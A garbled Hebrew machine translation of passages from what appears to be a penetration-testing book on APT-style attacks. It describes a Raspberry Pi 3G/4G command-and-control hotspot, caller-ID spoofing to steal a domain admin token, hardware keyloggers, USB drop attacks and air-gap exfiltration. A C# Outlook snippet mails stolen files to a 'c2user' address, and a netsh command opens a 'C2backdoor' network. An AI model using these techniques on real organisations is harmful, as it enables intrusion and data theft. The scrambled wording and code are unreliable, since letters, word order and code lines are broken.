-Piהאינו תומך ב חי בורים ניידים באופן מ קורי ,אך ניתן להו סיף ב ק לות דונג ל USB 3G/4Gוהוא נתמך ע ל
ידי מער כת ההפע לה Raspbian.בדוגמה ה באה ,אני מ שתמ ש במ ק ל USB HSPAש ל Huaweiהמ חו בר
לר שת Vodafone.
הדרך ה ק לה ביותר להדגים הגדרת חי בור 3G/4Gהיא באמצעות ס קריפ ט sakisהמופע ל במצ ב
אינ טרא ק טי בי.
הת קן PPP:
הורד את ח בי לת Sakis3g:
פת ח את ה קו בץ:
מדד1 :
)collisions:0 txqueuelen:3 RX bytes:582 (582.0 B) TX bytes:4792 (4.6 KiB
frame:0 TX packets:21 errors:0 droped:0 overruns:0 carrier:0
RX packets:12 errors:0 droped:0 overruns:0
יצירת ג שר ש קוף
חי בור -Piהי שירות למתג מאפ שר הת קפות נגד מער כות סמו כות ואו לי גי שה ר ח בהיותר
בהתאם לאר כי ט ק ט הר שת.
עם זאת ,האפ שרויות לייר ט נתונים מוג ב לות .או לי אם ניתן היה להתפ שר ע ל המתג
עצמו ,ניתן היה ליצוריציאת TAP,א ב ל כמות הנתונים שהiP-יצ טרך ל טפ ל בו הופ כת
את הגי שה הזו ל ב לתי מציאותית במ קרה ה טו ב .דרך פו טנציא לית נו ספת לייר ט תע בורה
היא הרע לת מ טמון ARP,א ב ל זה הר בהיותר מדי מגו שם ור שתות מודרניותי כו לות
לזהות ו ל ס כ ל אותה ב ק לות.
Machine Translated by Google
הגדרת -Piה לע שות זאת היא פ שו טהיותר ממה שאתה ע שוי ל ח שו ב .רא שית הת קן
את כ לי הג שר:
sudo apt-getלהת קין bridge-utils
לא חר מ כן שנה את קו בץ התצורה ו כו' ר שת/ממ ש קים כדי להו סיף את הד ברים
ה באים:
או טומ טי eth0 eth1 bridge_stp on
iface br0 inet dhcp bridge_ports
br0
שימו ל ב שהדוגמה הזו מני חה שה CIN-המו בנה ש ל כם הוא eth0ומתאם -USBההוא
eth1,א ב ל זה אמור להיות המ קרה .ה ש ל ב הא חרון הוא להע לות את ממ ש ק הג שר:
sudo ifconfig up br0
אתה מו כן ל ל כת.
}
DAEMON_CONF="etchostapd/[Link]"
תו ספת מהירה ש ל כמה כ ל לי IPTablesנ חוצה כדי לה ב טי ח שהתע בורה מנות בת
דרך ערוץ 3G/4G C2:
-o ppp0 -j MASQUERADE sudo iptables -A FORWARD -i ppp0 -o wlan0 -m state --state
sudo iptables -t nat -A POSTROUTING
RELATED,STABLISHED -j ACCEPT sudo iptables -A FORWARD -i wlan0 -o ppp0 -j ACCEPT
כ ל עוד 3G/4G C2ש לך מוגדר כה ל כה ,ל קו חותי כו לים כעת להת ח בר -APלזה
ו לג שת לאינ טרנ ט .ליתר דיו ק ,מ ק שים חומרהי כו לים להת ח בר -APל ו ל ספ ק ה ק שות
מ ק לדות מתועדות.
ההת קפה
מצג שווא ש ל עצמך הוא ה לי בה ש ל APTמוצ ל ח ,בין אם הוא דגם או א חר .הדרך
ה ק לה וה ב טו חה לע שות זאת היא ב ט לפון .ט לפונים הם ט כנו לוגיה שאנ שים סומ כים
ע ליה ) לפ חותיותר מא שר בדוא" ל( כי הם מאמינים שהם ב לתי ניתנים ל טעות .ניתן
להתפ שר ב ק לות ע ל ט כנו לוגיות ט לפון כגון זיהוי מת ק שר ו SMS-כדי לגרום למ ק ל ט
להאמין שהוא מ ק ב ל שי חה או הודעת ט ק ס ט ממי שהתו קף רוצה .כך ניתן להע לות
הוראות )או דרי שות( למ טרה בצורה מ ש כנעת .ה ח שי בות ש ל ר כי שת ספריות ט לפוניה
ש ל ה ח ברה צרי כה להיות ברורה כעת .ניתן ל ש ל ב הת קפה כזו עם דואר המוני כדי
ל ק בוע למי מוגדרת הודעת חופ שה "מ חוץ למ שרד" ב ח ש בון האימיי ל ש לו .ל כן ,כא שר
) לדוגמה( הודעת SMSמזויפת נ ש ל חת,י ש סי כוי מינימ לי שה בע לים האמיתי ש ל
המ ספר הזהיראה ת שו בות כ ל שהן שע לו לות להי ש ל ח באמצעות SMSאו דואר
א ל ק טרוני.
פרו ס Raspberry Piכדי ל שמ ש כר כזת א ל חו טית להע ברת נתוני מפת ח לוגר
חזרה ל ב סי ס באמצעות חי בור נתונים 3G.
הו כ ח שאנ חנוי כו לים לגרום לפעו לה כ ל שהי להת בצע ע לידי היעד באמצעות
הודעות SMSמזויפות או זיהוי מת ק שר.
יעדים א לה ,המ בוצעים בתוך מ סגרת זמן קצרה ,בה ח ל טיפגינו פגיעות ויעני קו גי שה
נו ספת מ ספ קת אם ה ל קו חירצה לראות את הה שפעות ש ל תר חי ש APTל טוו ח ארוך
יותר שי בוצע מנ קודת זינו ק זו .לא חר מ כן ננ סה לג שת לנתונים ה סודיים המתוארים
בת חי לת פר ק זה.
הת קנת מ ק לדות ה חומרה המוגדרות מרא ש היא פ שו טה כמו המתנה לארו חת הצהריים
ו חי בורם ב שורה בין המ ק לדת ומגד לי המ ח ש ב מת חת ל שו ל חן הע בודה; הם לאייג לו
לנצ ח ,א ב ל אז הם לא צרי כים -ר ק מ ספי ק זמן כדי לתפו ס כמה אי שורי מנה ל או נתונים
ע סי סיים א חרים שי שודרו ב חזרה ל ב סי ס באמצעות פתרון ע שה זאת בעצמך Raspberry
/iPנ קודת גי שה א ל חו טית3G/4G ./
כפי שהת ברר ,הצ ל חנו לה שיג ח ש בונות לא ניהו ליים ר ק באמצעות מת קפת רי שום
המ ק שים ,אז ה שתמ שנו בהת קפת זיהוי מת ק שר מזויפת ממ שתמ ש לגי טימי למנה ל כדי
ל ב ק ש מהם להי כנ ס לת חנת הע בודה ש ל אותו מ שתמ ש כדי ל בדו ק בעיה ו ואז גנ בו את
א סימון מנה ל הדומיין כ שע שו זאת.
ב ס בי בות ארגוניות ר בותי ש תמונת ט לפון ס טנדר טית המועת קת לנייד לפני הנפ קה
ל ח בר צוות .תמונה זו מ כי לה לא ר ק את מדיניות הא ב ט חה א לא גם את ספר ה ט לפונים
העד כני ביותר .היתרון ש ל זה מנ קודת המ ב ט ש לנו הוא שמ ספר מזויףיופיע כ שם
המ ק בי ל ב ספר ה ט לפונים .שו ב ,זה לא נותן למ טרה שום סי בה ל ח שוד.
ב כ ל מ קרה ,הת ברר ש כ ל ת חנת ע בודה ו שרת בר שת מנוה לים ע לידי )VNCש לרו ב
נפר סת מאו ב ט חת עם סי סמה א חת ב כ ל הארגון( .מ שמעות הד בר היא ש ברגע שת חנת
ע בודה בודדת נפגעה ,ניתן היה ל ש חזר ב ק לות את ה סי סמה מהרי שום מ כיוון שהיא
מאו ח סנת ר ק ב קידוד הפ שו ט ביותר .ב ש ל ב זה ,עם ל קו ח VNC,נו כ ל לג שת ל כ ל מער כת
בר שת .ה בעיה הגדו לה ביותר שהייתה לנו הייתה העת קת כמויות גדו לות ש ל נתונים
ח סויים בזמן שנותר לנו.
סי כום
פר ק זה הציג ט כנו לוגיות ומו שגים חד שים המדגימים את היתרון ש ל גי שה פיזית ל טוו ח
קצר אפי לו למי קום היעד .לעו לם א ל תני ח שתנו חת הא ב ט חה ש ל ארגוןיעד תואמת את
א ב ט חת הנתונים שהם מנ סים להגן ע ליהם .שירות מ ש טרתי הוא גוף צי בורי ו כ כזה אין לו
ת קצי ב א ב ט חה ש ל בנ ק או תאגיד גדו ל .כו בע ש חורי כו ל היה למ כור את הנתונים שה שגנו
לפ שע המאורגן תמורת אגורהיפה .אפי לו המי קום והאופי ש ל כ ל כ לי הנ ש ק במ חוז היה
זה ב ,ש לא לד בר ע ל פר טים הנוגעים למודיעים.
תרגי לים
1.ראית איך לה שתמ ש -Raspberry Piב כדי לר חר ח תנועה ו להיות ח ל ק מa-
פתרון רי שום מפת חות .ק ח את זה צעד א חד קדימה ו ש קו ל כיצדיית כן שניתן
לה שתמ ש -keyloggerכ -Piב חומרה וגם כ סו כן C2ו כיצד ניתן לה שיג זאת
בדי ס קר טיות.
2.צוריי שום HTMLמתוך מ ח ש בה ע ל ארגוןיעד ספציפי.
ש קו ל מיתוג ו לוגו.
3.לאור האופן ש בו קו בצי DLLהות קפו בפר ק זה ע ל מנת לה ס לים את ההר שאות,
האם תו כ ל לה שתמ ש ב ט כני קה דומה כדי לת קוף שירותים?
Machine Translated by Google
פר ק 7
מ ש ח קי מ ל חמה
לפני כמה שנים ,בנ ק בי ק ש ממני ל בצע מ ספר בדי קות מו ל א חד מהמפ קדות ש להם
בהו לנד .זה היה מ שהו שהם ע שו כ ל שנה והור כ ב ממגוון בדי קות :בניית בי קורות,
ת שתית פנימית ו בדי קות אפ לי קציות אינ טרנ ט -שום ד בר מעניין במיו חד .בדי קה א חת
שהם רצו ל בצע הייתה בדי קת חי לוץ נתונים ,כ לומר ל ק בוע כמה ק ל למ שתמ ש להוציא
נתונים קרי טיים מה בניין לא חר שהו שגו .בתר חי ש ה ספציפי הזה ,זה היה ק ל מאוד
מ כיוון ש ל כ ל מ שתמ ש היו אינ טרנ ט ל שו ל חן הע בודה ,דואר א ל ק טרוני ,כונני USB
עו בדים ,גי שה לדוא" ל פנימי ו כן ה לאה ,א ב ל זה גרם לי ל ח שו ב ע ל תר חי שים שייפר סו
בהר בהיותר מאו חריותר ,עוד בדי קות ר לוונ טיות .הה ש ל כה העי קרית מ כך היא ש כדאי
לערוך בדי קות סינון ר ק ב ס בי בה מאו ב ט חת אמיתית ש בה המ שתמ שים ש לך נתונים
למידת אמון מוג ב לת .ע ל זה עו ס ק הפר ק הזה.
עד 2010היו -SIPRNetלהר בהיותר מ שתמ שים ,ש כן הגי שה הור ח בה ל בע לות
ברית בתו כנית )Five-Eyesברי טניה ,קנדה ,או ס טר ליה וניו זי לנד( .א חד מאותם
מ שתמ שים היה מנת ח מודיעין זו טר ב שם
Machine Translated by Google
ניו זי לנד( .א חד מאותם מ שתמ שים היה מנת ח מודיעין זו טר ב שם בראד לי מאנינג,
ש באמצעות הגי שה ש לו ,הד ליף ח ל קים עצומים ש ל נתונים לווי קי לי ק ס.
כ ל זה היה כמו בן ב חד שות ,א ב ל ההנ חה כאן היא שמנינג סינן את הנתונים ע ל
ת ק לי טורים מ חופ שים לת ק לי טורי ליידי גאגא .כמע ט ו לא הייתה נעי לת מאר ח ע ל מ סופי
SIPRNetעצמם מ כיוון שהם לא היו מ חו ברים לר שתות א חרות ונ ח ש בו מאו ב ט חים.
לד ברי מאנינג ,אנ לי ס טים האזינו באופן ק בוע למוזי קה במ סופי SIPRNetכך שזה לא
היה ח שוד.
ר קע ותדרוך מ שימה
המ טרה במפגע המ סוים הזה הייתה ר שת מ ח ש בים צ באית ב ברי טניה .לר שת זו לא הייתה
קי שוריות לאינ טרנ ט והיא הייתה מופרדת פיזית מת שתיות מ ח ש בים א חרות ב בניין .היה מ ספר
מצומצם ש ל מ סופים וא ליהם ניתן היה לג שת ר ק ל שו טר עם אי שורי א ב ט חה ו כר טי ס ח כם.
ערמומי.
ק ב לת גי שה לר שת הייתה בעיה א חת ,ש חרור הנתונים היה מ שהו א חר לגמרי .לא הייתה שום
סי כוי שהייתי מו כן לערוך בדי קת חדירה פיזית מו ל ב סי ס צ באי )האנ קדו טה המ שע שעת למ טה
מפר טת למה ,במונ חים לא ברורים( ו לא הייתה שום דרך שנו כ ל לפרוץ לת שתית צ באית
מאו ב ט חת מהאינ טרנ ט .או לי היו כמהיציאות גי שה א חרות איפ שהו או סוג א חר ש ל קי שוריות
ר שת סמו כה ,א ב ל שום ד בר שאנ חנו הו ל כים ל ק ב ל א ליו גי שה ב כ ל סוג מדיד ש ל מ סגרת זמן,
ו בוודאי ש לא היה לנו שום סוג ש ל מפר טי ר שת לע בוד איתו .ראה איור 7.1.
Machine Translated by Google
היית צריך לציין עד ע כ שיו שאני אוה ב את האנ קדו טות ה ק טנות ש לי ,א ב ל הן תמיד
מגיעות עם שיעור .כיוון א ליי א קד ח פעמיים בדיו ק ב חיי .הפעם הרא שונה הייתה
ב שנת 1999בהו לנד -אי ה בנה ש ל המ ש טרה לא חר ש ח ברה ש לי ה שאי לה את
המ כונית ש לי לא חד מ ח בריה הע בריינים בזמן שהייתי ב חופ שה .זה לא היה מפ חיד
במיו חד מ כיוון ש למ ש טרה ההו לנדיתי ש ה כ שרה מוג ב לת בנ ש ק חם" :זה ה סוף
שיורה את ה כדורים ,הימנע מההד ק במ קרה שאתהיורה ב טעות במי שהו ו ...טו ב
כנראה שה כי טו ב פ שו ט לא להעמי ס את הד בר".
Machine Translated by Google
הפעם ה שנייה הייתה לא פ חות ממפ חידה .התנד בתי ל בצע מ ב חן ע ט פיזי ש ל
ב סי ס RAFבאנג ליה פ חות מ חוד שיים לא חר ה 11-ב ספ טמ בר.
ה"תו כנית" ש לי כ ל לה ל טפ ס ע ל גדר ו ל קוות שאף א חד לאיראה אותי.
ד קות לא חר מ כן ה סת כ לתי ע ל ה קצה הע ס קי ש ל רו בה סער L85שני שא ע לידי
מי שהו שנראה כ בן 14ורעד מפ חד .זה היה מפ חיד .מצאתי את עצמי אומר ד ברים
כמו " ,ב ט ח .בה ח ל ט ,אין בעיה .מה שתרצה".
הנ קודה ש לי היא שמעו לם לא הייתי צריך להיות שם והיו דר כים הר בהיותר טו בות
שאפ שר היה ל בצע את המ שימה הזו עם קצת מ ח ש בה ודמיון .א ב ל ה כי ח שו ב ,זה
לא שי קף במדוי ק מת קפה אמיתית והיה בז בוז זמן ש ל כו לם.
Machine Translated by Google
מדיה USB
פעם ,פונ קציונ ליות ההפע לה האו טומ טית ש ל Windowsהייתה ,כ ברירת מ חד ל,
מ בצעת כ ל ד בר שה כנ סת ל כונן די ס ק אופ טי בהת ב ס ס ע ל העיצו ב ש ל מפת ח התו כנה.
מיותר לציין שזה היווה פגיעות א ב ט חה כ ש לעצמה .היו גם דר כים ל ש כנע את
Windowsש כונן USBהוא כונן אופ טי ו לה שתמ ש בא ס טר טגיה דומה כדי להפעי ל
תו כנות זדוניות במ ח ש ב ש ל ה קור בן .ה ח ל -Windows 7,מ מער כת ההפע לה אינה
תומ כת עוד בפונ קציונ ליות AutoRunע בור מדיה נ ש לפת שאינה אופ טית .הפע לה
או טומ טית עדיין תע בוד ע ל ת ק לי טורים -DVDו) למ שתמ ש תינתן האפ שרות להפעי ל
את ה קוד ,א ב ל זה לאי קרה או טומ טית(; עם זאת ,זה כ בר לאיע בוד ב כ ל ל ע בור כונני
USB,תיאור טית הופך את הת קפות ההנד סה ה ח ברתית ל ק שות הר בהיותר.
גי שהיעי לה לו ק טורים להת קפות USBהאם זה מדאיג אותנו? אף לא טיפה .כפי
שדי ברתי בע בר בVBS/ABV-
Machine Translated by Google
הת קפות בפר ק 2 ,אני לא אוה ב את ה שימו ש ב שגרות או טומ טיות כדי לה שיג ביצוע קוד -
זה ח שוד מ ט בעו .הת קפת ההנד סה ה ח ברתית ש לך צרי כה להיות מ ספי ק א לגנ טית ומרת קת
כדי ל ש כנע את ה קור בן ל ל חוץ ע ל כ ל מה שתרצה .ז כור ,כ ל קוד וו ק טור הת קפה שאתה
בו חר לפרו ס באמצעות הת קפת USB,הם לא נמ סרים ע לידי ל קו ח דוא" ל או דפדפן
אינ טרנ ט או כ ל נתי ב הת קפה ברור א חר -הוא מהימן מ כיוון שהמ טרה חי ברה את המ כ שיר
לת חנת הע בודה ש לו .מרצונם ה חופ שי.
זוהי דוגמה מצוינת לאופן ש בו ניתן לה שתמ ש בהת קפתיי שום )HTMLשנדונה בדוגמה
ה קודמת( לה שפעה ר בה .בנו סףWindows Scripting Host ,או PowerShellמייצרים
ו ק טורי הת קפה מצוינים ,או שאתהי כו ל לה שתמ ש ביי שומון Javaחתום אם אינך ב טו ח
באיזו פ ל טפורמה אתה עומד להית ק ל )או אם אתה מצפה למ ספר פ ל טפורמות ורוצה לפגוע
בצורה מהימנה כ ל מה שאתה נת ק ל( .א ל ת ש כ ח את המועדף הי שן הזה -המא קרו ש ל
Microsoft Office.
ל ח לופין,יית כן שתרצה לפרו סיותר מא חת מהת קפות א לו ע ל אותה מדיה .זו לא בעיית
מ סירה חד-פעמית ש בה אתה נת ק ל בדרך כ ל ל בעת ת קיפת ו ק טורים א חרים .עם זאת ,כמו
תמיד ,שימו ל ב לאנ טי וירו ס .איך לה כני ס את די ס קי -USBה למ ח ש ב היעד ש לך? במי לותיו
ש ל האן סו לו " ,טו ב ,זה ה טרי ק האמיתי ,לא?"
במ קרים ש בהם אתה צריך לת קוף מת קני א ב ט חה נמו כיםיותר ,ניתן לה שאיר כונני אצ בע
במ קומות ש בהם מ טרה ע שויה לצפות למצוא אותם באופן ס ביר ואז לה סי ק שהם הו באו
ב טעות במ קומם ,כגון:
אזורי ק ב לה
מע ליות
חניונים מ קומות ש בהם מתא ספים מע שנים )א לה מ קומות מצוינים לה שאיר כונני USB,
מ כיוון שאנ שים מני חים לעתים קרו בות את מה שהם נו שאים כדי לתפו ס את הע שן ש להם(.
קצת מאמץ מר חי ק ל כת .מפת חות USB,כמו תגי VPN,לו ב שים לעתים קרו בות ע ל שרוך
הזיהוי ש ל עו בד .הי כו לת ל ח קות את המראה והת חו שה הארגונית ש ל
Machine Translated by Google
שרוך תעודת זהות ש ל העו בד .הי כו לת ל ח קות את המראה והת חו שה הארגונית ש ל
הד בר עו שה דרך ארו כה.
סימון פרי טים כ סודיים או מוג ב לים בדרך א חרת היא דרך טו בה ל ל כת .התר חי ש הגרוע
ביותר אם עו בד או סף אותו הוא שהואיוע בר לא ב ט חה או ל ק ב לה ,א שר בוודאיירצה
לצפות בת כנים כדי לראות את מי להעני ש ע ל כי ש לונם ה בו טה בציות למדיניות
הא ב ט חה ש ל הארגון.
Machine Translated by Google
יהיו מ קרים במה לך מ שימות בהם תצ טרך לת קוף ס בי בות א ב ט חה ג בוהות ש בהן אמצעים
מ סורתיים ש ל פי קוד ו ב קרה מ בו ס סים לאיהיו מתאימים ו לא מע שיים .אני מת כוון ל שימו ש
ב סוג כ ל שהו ש ל ניהו ל מפג שים אינ טרא ק טי בי די ס קר טי או בד לת א חורית .כפי שמתואר
ב סעיף מ סירת מ טען ,לפעמים לא ניתן לפרו ס ח בי לות ת קיפה באמצעים מ סורתיים .ש חזור
נתונים לא חר מ סירת מ טעןי כו ל להיות אפי לויותר מאתגר .עם זאת ,למרות שר שתיעד
ע שויה להיות נעו לה במידה מאיימת ,תמידיהיו נ קודותיציאה .תפ קידך כתו קף בנ סי בות
א לה הוא כפו ל:
בנה מ טען עם מ שימה מאוד ספציפית ל ביצוע .כפי שצוין ,לא מדו בר בה קמת ת שתית
C2א לא ב חיפו ש א חר סוגים ספציפיים ש ל ק בצים או ב ל חיצת ה ק שות או באי סוף
מודיעין ע ל אנ שייעד ו כדומה.
ל ספ ק למ טען מ ספי ק או טונומיה ואינ ט ליגנציה כדי להיות מ סוג ל ל ק בוע אמצעי קיימא
ש ל חי לוץ נתונים ל לא צורך בת שתית C2שתנ חה אותו.
אם אינךיודע ד בר ע ל פעו לתה הפנימית ש ל ר שתיעד ,א ב ל אתהיודע שאין גי שה
לאינ טרנ ט ב כני סה אויציאה והאתר מאו ב ט ח פיזית )אנ חנו לא נ כנ סים ל לא ס בירות ג בוהה
ש לירי( ,אז זה מאו ב ט ח ל ח לו טין,ימין?
ימין? אם קראתם עד כאן ,אני מני ח שאתם צו ח קים ע כ שיו ב קו ל )או לפ חות נהנים מצ ח קו ק
ש ק ט( .ב סי כון ל חזור ע ל עצמי ,שום ד בר לא
ל ב ט ח.
אמצעייציאה
באופן אידיא לי ,ליעד ש לךיהיה אינ טרנ ט א ל שו ל חן הע בודה,י שירות או באמצעות פרו ק סי
Machine Translated by Google
באופן אידיא לי ,למ טרה ש לךיהיה אינ טרנ ט ל שו ל חן הע בודה,י שירות או דרך שרת
פרו ק סי מ סוג כ ל שהו ,מה ש כמו בןיהפוךיציאה מ כ ל סוג ל טריוויא לית.
זה כו סה בצורה מ ספ קת בפר קים ה קודמים .ב ח ל ק זה ,אני רוצה ל ח קור שי טות פ חות
ברורות ואין לי שום כוונה לה ק ל ע ל עצמי.
מדיה פיזית בתר חי ש ש בו למער כת אין ק שר לעו לם ה חיצון ,כדאי ליצור מ טען שי כו ל
לזהות אם מדיה נ ש לפת ) כגון כונני אצ בע( מ חו ברים למער כת .במ קרה כזה ,ניתן לארוז
נתונייעד ליציאה ל כונן ) לדוגמה ,כ קו בץ ZIPמוצפן או שווה ערך( ו לה טמיע אותם
בפורמ ט פ סאודו-הפע לה כ ל שהו ) כגוןיי שום HTMLשנדון קודם ל כן או אפי לו נו שא
מא קרו מ סמך מ שרדי( .הנימו ק כאן הוא שהמ כ שיר ,מ ט בעו ,הוא נייד ,כך שהוא ע שוי
להיות מ חו בר בעתיד לר שת ) כגון הגדרת WiFiביתית( שיהיו בה קודי חי בור מוג ב לים
הר בה פ חות.י ש לציין שמ ספר המ שתנים ה חיו ביים הדרו שים להצ ל חת ההת קפה הזו
הופך אותה למ שהו ש ל " ש לום מרי".
עם זאת,י שנן ט כני קות מת קדמותיותר שי כו לות לע בוד במ קרים ספציפיים.
מת קפה מ סוימת א חת שהודגמה -Black Hatב ב לא ס וגא ס ב שנת )2014שהוצגה ע ל
ידי )-Jakob Lellו Karsten Nohlכו ל לת מ ק ל USBהפוע ל כ ש לו שה הת קנים נפרדים -
שני כונני אצ בע ומ ק לדת .כא שר המ כ שיר מ חו בר לרא שונה למ ח ש ב ומזוהה ע לידי
מער כת ההפע לה ,הוא פוע ל כהת קן א ח סון רגי ל .עם זאת ,כא שר המ ח ש ב מופע ל
מ חד ש וההת קן מזהה שהוא מד בר עם -BIOS,ההוא מד לי ק את הת קן הא ח סון הנ סתר
ומדמה את המ ק לדת.
מ שמ ש כמ ק לדת ,המ כ שיר שו ל ח את ל חיצות ה כפתורים הנ חוצות כדי להע לות את
תפרי ט האת חו ל ומפעי ל מער כת לינו ק ס מינימ לית מה כונן הנ סתר.
לא חר מ כן ,מער כת לינו ק ס מד בי קה את טוען האת חו ל ש ל כונן הדי ס ק ה ק שי ח ש ל
המ ח ש ב ,ו בעצם פוע לת כמו וירו ס את חו ל.
מדו בר בד ברים ש ל הדור ה בא ואין לי מ קום לדון בהם בפירו ט כאן ,א ב ל אתה בה ח ל ט
י כו ל לצפות לראות הת קפות נו ספות מ סוג זה בעתיד.
איתור נ קודות ש ליציאה מר שת היא אמנות )וא כן תרגי לייעוץ( בפני עצמה.
דרופ בו ק ס
אני צ בוע מו ח ל ט כ שזה מגיע לדרופ בו ק ס )ו ט כנו לוגיות נ לוות( ,כמוני
Machine Translated by Google
אני צ בוע מו ח ל ט ב כ ל הנוגע -Dropboxל)ו ט כנו לוגיות ק שורות( ,מ כיוון שאני מוצא את זה שימו שי להפ ליא
ל סנ כרן מ סמ כים במ כ שירים שונים וזו דרך מצוינת ל שתף מ סמ כים ,בין אם דרך ח ש בונות Dropboxאו
באמצעות קי שורי HTTPעם א לה שאינם ב -ה חז קת ח ש בון .מ כיוון שדרופ בו ק ס עצמה אינה מ בצעת סרי קת
תו כנות זדוניות ,זוי כו לה להיות ט כנו לוגיה מ סו כנת לאפ שר במ קום הע בודה.
ל כ ל הפ חות ,אני תמיד מייעץ ל ל קו חות ש לי לפ ק ח ע ל זה באמצעות NIDSאו ל ח סום אותו ל ח לו טין .כדי
ליצור אנ לוגיה מהירה ,כא שר מ שתפים את כת ב היד הזה עם המוציא לאור ,הוא היה נ ח סם ע לידי א ב ט חת
הג בו ל ש ל וויי לי פ שו ט בג ל ל ש סור ק -AVה ראה מ חרוזות מ סוימות במ סמך .זה נפתר ע לידי ה כנ סת
המ סמ כים -Dropboxל ו שיתוף קי שור HTTP.אז מנ קודת המ ב ט ש לנו ,אפ שר לה שתמ ש -Dropboxב
כאמצעי לפרי סת מ טענים ו ל חיצהי שר דרך א ב ט חת הג בו ל ש ל הארגון .זהי כו ל להיות שימו שי כאמצעי
ל סי לו ק נתונים .ה ט כנו לוגיה מ שתמ שת -HTTPSו -HTTPב כדי ל שאת נתונים כ ל עודי ש למ שתמ ש נראות
ב סי סית ש ל האינ טרנ ט .הו ספת קוד לה סתננות ל 2C-ש לך הו ל כת להיות טריוויא לית ,במיו חד מ כיוון שי ש
ספריות ש ל צד ש לי שי לע שות בדיו ק את זה ע בור מ ספר שפות שונות:
[Link]
אימיי ל
ב קיצור ,אתהי כו ל לה שתמ ש ב שרתי הדואר הא ל ק טרוני הפנימיים ש ל היעד ש לך כאמצעי ל חי לוץ נתונים,
למרות שזה לא נתי ב שאני בה כר ח ממ ליץ ע ליו .זה פ שו ט בג ל ל ש שרת הדואר מהווה מו קד לזיהוי איומים,
בין אם זה דואר ז ב ל ,הת קפות דיוג ,ח סימת ק בצים מצורפים ,סרי קת וירו סים או כ ל ד בר א חר .כתוצאה
מ כך,י ש ט כנו לוגיה בוגרת מאוד שצופה במה שנ כנ ס אויוצא מהר שת דרך שרת הדואר .עם זאת ,אפ שר
לגרום ל סו כן C2ש לך לזהות את ה כתו בת הפנימית ש ל שרת מ ש לו ח הדואר ש ל היעד ו לנ סות ל ש לו ח ק בצים
מצורפים דרך )SMTPאו כ ל פרו טו קו לים שנמצאים ב שימו ש(.
גי שה הר בהיותר טו בה היא לזהות באיזה ל קו ח דואר היעד מ שתמ ש ו לה שתמ ש ב API -ש ל ט כנו לוגיה זו
כאמצעייציאה .ברור שזהיהיה שונה ע בור כ ל ל קו ח ,אז עיין בתיעוד הר לוונ טי .ע בור Microsoft Outlook
) שתת ק לו בו ברו ב המ קרים( ,זה טריוויא לי .ה קוד ה באיע שה בדיו ק את זה .למען ה בהירות )וה כיף ש ל לוודא
ש כ ל ט כנו לוגיה שאנו מ שתמ שים בה לרעה היא ש ל מי קרו סופ ט( ,זה כתו ב ב:#C-
= [Link] c2App
;)([Link]
= [Link] c2Mail
;"" = [Link] = "c2user@[Link]"; [Link]
;)(MailItem)[Link](OlItemType.c2MailItem
Machine Translated by Google
= "[Link]תו כן
Body"; [Link](AssignNoteFilePath,
C2"; [Link] = "C2
;)"[Link], 1, "[Link]
;)([Link]
לא ניתן להגדיר מיי ל ממ שתנה באמצעות -Outlook APIה) ל לא ק שר ל שפה( ,כך שהמיי ל
יי ש ל ח באמצעות ח ש בון היעד וזה ב סדר.
המיי ל לאיי שמר בפרי טים שנ ש ל חו ,מ כיוון שזה דור ש קריאת APIספציפית ,במ קרה הזה
[Link](),א ב ל שו ב זה ב סדר גמור מנ קודת המ ב ט ש לנו.
= "c> netsh wlan set hostednetwork mode ="allow" ssid="C2backdoor" keyסי סמה"
הת ח ל נ טו SharedAccess
ה קי לומ טראז' ש לך ע שוי לה שתנות בהתאם לגר סת Windowsב שימו ש ,אך אם
Machine Translated by Google
הגנה ע ל אתר )או אזור ק טן באתר( מפני תו קפים המ שתמ שים בנתונים ניידים היא
) לפ חות בתיאוריה( טריוויא לית .ניתן לא ב ט ח חדר עם כ לו ב פאראדיי ,מה שמ ב טי ח
שאותות רדיו לאיו כ לו להי כנ ס או לצאת ,א ב ל הצד הת חתון ש לו הוא שאותות רדיו לא
י כו לים להי כנ ס או לצאת ,כו ל ל ט טרה או ת ק שורת א חרת ב כ ל האתר ,האו סרת בנו סף
ע ל ה שימו ש בנייד ט לפונים באופן כ ל לי.
במדינות מ סוימות ,זה חו קי לה שתמ ש ב חו סמי ס לו לר כדי ל ש ב ש את הת ק שורת
ה ס לו לרית ב ש ט ח האתר ,א ב ל שו ב ח סימת ה ספ קים מהע ברת נתונים תגרום לרו ב
הע ס קים אי נו חות חמורה .כמה אתרי א ב ט חה ג בוהים פ שו טימנעו ט לפונים ס לו לריים
לפי מדיניות וי שאירו את זה כך ,מה שעו בד טו ב כמו שאפ שר לצפות .לפני כמה שנים
נתתי הרצאה -GCHQב ו לא חד העו בדים היה מ כ שיר ק טן שיד ל ק אםיזהה אות ס לו לרי.
כ שזה קרה ,הוא קם וגער ב לעג ב חדר והז כיר למ שתתפים שהם אמורים לה שאיר ניידים
ב ק ב לה.
ב כ ל מ קרה ,מדיניות כזו לא תמנע את ה שימו ש ב 4G /G3-כאמצעי ל חי לוץ נתונים ,ו ל כן
אדון בה בהר ח בה ב סעיף ה בא.
סמ ס
ק בצים .די ברתי קודם ע ל דוא" ל ע ס קה ו כיצד זהי כו ל להיות שימו שי בעת פרי סת מ ספר
ר ב ש ל מ טענים באמצעות דואר א ל ק טרוני .בפר ק ה בא ,נ ב חן את ה SMS-הע ס קאות
ואת היתרונות ש לו במוד לים ש ל APT.נ ב חן גם פונ קציונ ליות לא מתועדת בפרו טו קו ל
SMSו כיצד זהי כו ל להיות שימו שי בפי קוד ו ב קרה.
פעם מאו שרת ,פרו טו קו לי הדואר הי חידים שהיו ב שימו ש היו -SMTP.ו POP3אף
א חת מהן לא סיפ קה שום הצפנה ודואר זיוף היה פ שו ט כמו להת ח בר ל שרת
-SMTPההנ כנ ס ש ל היעד דרך telnetאו netcatו לומר את הד בר שאתה כ ל מי
שאתה רוצה להיות .במ קרים ר בים ,אתה עדייןי כו ל לע שות זאת ,אךי שנן ט כנו לוגיות
זמינות למנוע זאת .הנפוץ ביותר נ קרא Sender Policy Framework (SPF). SPF
היא מער כת אימות דואר פ שו טה שי כו לה לזהות אימיי לים מזויפים ע לידי בדי קה
שדואר נ כנ ס מ כ ל ת חום נתון נ ש ל ח ע לידי מאר ח מור שה ע לידי אותו ת חום
) בהנ חה שמאר ח מ ק ב ל תומך כמו בן ב חיפו שי SPF).
זה מיו שם בצורה ש ל ר שומת )DNS TXTא שר ,כפי שראינו קודם,י כו לה לא ח סן כ ל
ערך שרירותי שמנה ל הדומיין רוצה( .ר שומת TXTזו מא ח סנת את שמות המאר חים
המור שים ע בור אותו ת חום .לדוגמה ,אם אנו מ סת כ לים ע ל ר שומות -TXTה ש ל
